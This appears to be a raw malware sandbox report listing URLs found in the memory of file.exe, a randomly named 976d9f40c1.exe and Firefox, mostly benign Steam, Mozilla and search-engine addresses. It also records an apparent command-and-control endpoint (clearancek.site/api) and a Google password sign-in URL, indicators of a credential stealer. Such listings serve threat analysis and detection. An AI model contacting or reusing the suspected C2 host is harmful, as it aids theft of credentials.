Source: firefox.exe, 00000019.00000003.2975681250.000001379E91D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976232127.000001379E938000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3205276843.000001379E800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.2974846355.000001379E700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976412933.000001379E953000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976574533.000001379E96F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A699D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3034748232.00000137A699D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.2108201890.00000000059D1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108149493.00000000059D4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108287783.00000000059D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3193146359.000001379C9C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000019.00000002.3196543245.000001379E0DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3104800276.00000137A0167000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3220295992.00000137A0167000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3112035242.00000137A02B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3063328605.00000137A026C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3101120989.00000137A02B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3151834654.0000002E4B5D8000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3228149459.00000137A02B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3084260888.00000137A1B62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3240318696.00000137A1B62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000019.00000002.3179268401.000001379A0A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DDDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210751265.000001379F217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F104000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3213506140.000001379F6DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3213506140.000001379F677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: file.exe, 00000000.00000003.2094931339.0000000001066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.st_
Source: file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dBNx
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: file.exe, 00000000.00000003.2147753615.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3178406027.0000013799FAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3157667654.000001804BECB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000003.2147753615.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3178406027.0000013799FAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3157667654.000001804BECB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.2108201890.00000000059D1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108149493.00000000059D4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108287783.00000000059D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2108201890.00000000059D1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108149493.00000000059D4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108287783.00000000059D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2108201890.00000000059D1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108149493.00000000059D4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108287783.00000000059D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/api
Source: 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/apii
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=ljhW-PbGuX
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921571137.0000000000F30000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: file.exe, 00000000.00000003.2167545129.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2250494766.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921571137.0000000000F30000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=e
Source: file.exe, 00000000.00000003.2167545129.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2250494766.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921571137.0000000000F30000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094931339.0000000001066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094931339.0000000001066000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803112102.00000000016E5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803355226.00000000016E9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2922291793.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094931339.0000000001066000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803112102.00000000016E5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803355226.00000000016E9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094931339.0000000001066000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803112102.00000000016E5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803355226.00000000016E9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=W9BX
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094931339.0000000001066000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803112102.00000000016E5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803355226.00000000016E9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: file.exe, 00000000.00000003.2167545129.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2250494766.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921571137.0000000000F30000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2250494766.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921571137.0000000000F30000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
